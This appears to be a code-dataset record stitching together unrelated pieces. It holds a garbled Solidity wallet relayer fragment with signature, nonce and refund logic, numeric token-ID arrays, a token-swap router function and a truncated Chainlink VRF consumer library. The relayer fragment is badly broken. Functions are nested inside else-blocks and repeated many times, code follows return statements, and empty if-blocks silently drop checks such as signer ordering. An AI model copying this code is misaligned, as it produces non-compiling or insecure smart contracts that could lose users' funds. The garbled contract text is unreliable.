return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } } else { function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && ownerSignatureRequirement == OwnerSignature.Required) { if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } } else if (_option == OwnerSignature.Optional) { function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function validateSignatures( address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option ) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { if (isOwner(_wallet, signer)) { continue; } return false; if (isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { } lastSigner = signer; (isGuardian, guardians) = GuardianUtils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures ) internal { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; uint256 refundAmount; if (_requiredSignatures > 1) { uint256 gasConsumed = _startGas.sub(gasleft()).add(30000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 gasConsumed = _startGas.sub(gasleft()).add(40000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 ethAmount = (_refundToken == ETH_TOKEN) ? refundAmount : LimitUtils.getEtherValue(tokenPriceRegistry, refundAmount, _refundToken); require(LimitUtils.checkAndUpdateDailySpent(limitStorage, versionManager, _wallet, ethAmount), "RM: refund is above daily limit"); } if (_refundToken == ETH_TOKEN) { invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures ) internal { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; uint256 refundAmount; if (_requiredSignatures > 1) { uint256 gasConsumed = _startGas.sub(gasleft()).add(30000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 gasConsumed = _startGas.sub(gasleft()).add(40000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 ethAmount = (_refundToken == ETH_TOKEN) ? refundAmount : LimitUtils.getEtherValue(tokenPriceRegistry, refundAmount, _refundToken); require(LimitUtils.checkAndUpdateDailySpent(limitStorage, versionManager, _wallet, ethAmount), "RM: refund is above daily limit"); } if (_refundToken == ETH_TOKEN) { invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } } else { function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures ) internal { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; uint256 refundAmount; if (_requiredSignatures > 1) { uint256 gasConsumed = _startGas.sub(gasleft()).add(30000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 gasConsumed = _startGas.sub(gasleft()).add(40000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 ethAmount = (_refundToken == ETH_TOKEN) ? refundAmount : LimitUtils.getEtherValue(tokenPriceRegistry, refundAmount, _refundToken); require(LimitUtils.checkAndUpdateDailySpent(limitStorage, versionManager, _wallet, ethAmount), "RM: refund is above daily limit"); } if (_refundToken == ETH_TOKEN) { invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } } else { function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures ) internal { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; uint256 refundAmount; if (_requiredSignatures > 1) { uint256 gasConsumed = _startGas.sub(gasleft()).add(30000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 gasConsumed = _startGas.sub(gasleft()).add(40000); refundAmount = Utils.min(gasConsumed, _gasLimit).mul(_gasPrice); uint256 ethAmount = (_refundToken == ETH_TOKEN) ? refundAmount : LimitUtils.getEtherValue(tokenPriceRegistry, refundAmount, _refundToken); require(LimitUtils.checkAndUpdateDailySpent(limitStorage, versionManager, _wallet, ethAmount), "RM: refund is above daily limit"); } if (_refundToken == ETH_TOKEN) { invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); bytes memory methodData = abi.encodeWithSignature("transfer(address,uint256)", refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } function getChainId() private pure returns (uint256 chainId) { } assembly { chainId := chainid() } }
3,539,741
[ 1, 1971, 1773, 1318, 225, 7881, 358, 1836, 8938, 6726, 635, 512, 2455, 17, 2656, 9484, 471, 3271, 635, 279, 1279, 1773, 18, 225, 804, 14826, 275, 423, 291, 278, 411, 28034, 275, 36, 3175, 319, 18, 17177, 20401, 531, 80, 427, 2453, 776, 2290, 411, 355, 427, 2453, 36, 3175, 319, 18, 17177, 16893, 1021, 2502, 434, 326, 1800, 1021, 3155, 6205, 2502, 1021, 22809, 2779, 2502, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4275, 1773, 1318, 353, 3360, 4595, 288, 203, 565, 1731, 1578, 5381, 6048, 273, 315, 1971, 1773, 1318, 14432, 203, 565, 2254, 5034, 5381, 2713, 14073, 19318, 273, 12619, 31, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 2874, 261, 2867, 516, 4275, 1773, 809, 13, 1071, 1279, 1773, 31, 203, 565, 467, 3039, 3245, 1071, 1800, 3245, 31, 203, 565, 467, 1345, 5147, 4243, 1071, 1147, 5147, 4243, 31, 203, 565, 467, 16709, 2779, 3245, 1071, 11026, 2779, 3245, 31, 203, 97, 203, 7010, 565, 1958, 4275, 1773, 809, 288, 203, 3639, 2254, 5034, 7448, 31, 203, 3639, 2874, 261, 3890, 1578, 516, 1426, 13, 7120, 4188, 31, 203, 565, 289, 203, 565, 1958, 7283, 3625, 288, 203, 3639, 2254, 5034, 1931, 23918, 31, 203, 3639, 16837, 5374, 3410, 5374, 18599, 31, 203, 3639, 1731, 1578, 1573, 2310, 31, 203, 3639, 1426, 2216, 31, 203, 3639, 1731, 327, 751, 31, 203, 565, 289, 203, 565, 871, 5947, 23839, 12, 2867, 8808, 9230, 16, 1426, 8808, 2216, 16, 1731, 327, 751, 16, 1731, 1578, 6726, 2310, 1769, 203, 565, 871, 3941, 1074, 12, 2867, 8808, 9230, 16, 1758, 8808, 16255, 1887, 16, 1758, 16255, 1345, 16, 2254, 5034, 16255, 6275, 1769, 203, 3639, 467, 2531, 3245, 389, 739, 3245, 16, 203, 3639, 467, 16709, 2779, 3245, 389, 24594, 2779, 3245, 16, 203, 3639, 467, 3039, 3245, 389, 3595, 3245, 16, 203, 3639, 467, 1345, 5147, 4243, 389, 2316, 5147, 4243, 16, 203, 3639, 467, 1444, 1318, 389, 1589, 1318, 203, 2 ]
./full_match/80001/0xD8C484d25A003F66D44B074774C2C67745355594/sources/contracts/growthRouter.sol
**** SWAP (supporting fee-on-transfer tokens) **** requires the initial amount to have already been sent to the first pair scope to avoid stack too deep errors
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = ZGemLibrary.sortTokens(input, output); IZGemPair pair = IZGemPair(ZGemLibrary.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); uint256 swapFee = IGemFactory(factory).fee(); amountOutput = ZGemLibrary.getAmountOut(amountInput, reserveInput, reserveOutput, swapFee); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? ZGemLibrary.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } }
5,551,180
[ 1, 18746, 2203, 261, 13261, 310, 14036, 17, 265, 17, 13866, 2430, 13, 225, 4991, 326, 2172, 3844, 358, 1240, 1818, 2118, 3271, 358, 326, 1122, 3082, 2146, 358, 4543, 2110, 4885, 4608, 1334, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 22270, 6289, 310, 14667, 1398, 5912, 5157, 12, 2867, 8526, 3778, 589, 16, 1758, 389, 869, 13, 2713, 5024, 288, 203, 3639, 364, 261, 11890, 277, 31, 277, 411, 589, 18, 2469, 300, 404, 31, 277, 27245, 288, 203, 5411, 261, 2867, 810, 16, 1758, 876, 13, 273, 261, 803, 63, 77, 6487, 589, 63, 77, 397, 404, 19226, 203, 5411, 261, 2867, 1147, 20, 16, 13, 273, 2285, 43, 351, 9313, 18, 3804, 5157, 12, 2630, 16, 876, 1769, 203, 5411, 467, 62, 43, 351, 4154, 3082, 273, 467, 62, 43, 351, 4154, 12, 62, 43, 351, 9313, 18, 6017, 1290, 12, 6848, 16, 810, 16, 876, 10019, 203, 5411, 2254, 3844, 1210, 31, 203, 5411, 2254, 3844, 1447, 31, 203, 5411, 288, 203, 7734, 261, 11890, 20501, 20, 16, 2254, 20501, 21, 16, 13, 273, 3082, 18, 588, 607, 264, 3324, 5621, 203, 7734, 261, 11890, 20501, 1210, 16, 2254, 20501, 1447, 13, 273, 810, 422, 1147, 20, 692, 261, 455, 6527, 20, 16, 20501, 21, 13, 294, 261, 455, 6527, 21, 16, 20501, 20, 1769, 203, 7734, 3844, 1210, 273, 467, 654, 39, 3462, 12, 2630, 2934, 12296, 951, 12, 2867, 12, 6017, 13, 2934, 1717, 12, 455, 6527, 1210, 1769, 203, 7734, 2254, 5034, 7720, 14667, 273, 13102, 351, 1733, 12, 6848, 2934, 21386, 5621, 203, 7734, 3844, 1447, 273, 2285, 43, 351, 9313, 18, 588, 6275, 1182, 12, 8949, 1210, 16, 20501, 1210, 16, 20501, 1447, 16, 7720, 14667, 1769, 203, 5411, 289, 203, 5411, 261, 2 ]
// Dependency file: @chainlink/contracts/src/v0.6/vendor/SafeMathChainlink.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathChainlink { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Dependency file: @chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol // pragma solidity ^0.6.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // Dependency file: @chainlink/contracts/src/v0.6/VRFRequestIDBase.sol // pragma solidity ^0.6.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed(bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce) internal pure returns (uint256) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // Dependency file: @chainlink/contracts/src/v0.6/VRFConsumerBase.sol // pragma solidity ^0.6.0; // import "@chainlink/contracts/src/v0.6/vendor/SafeMathChainlink.sol"; // import "@chainlink/contracts/src/v0.6/interfaces/LinkTokenInterface.sol"; // import "@chainlink/contracts/src/v0.6/VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { using SafeMathChainlink for uint256; /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The 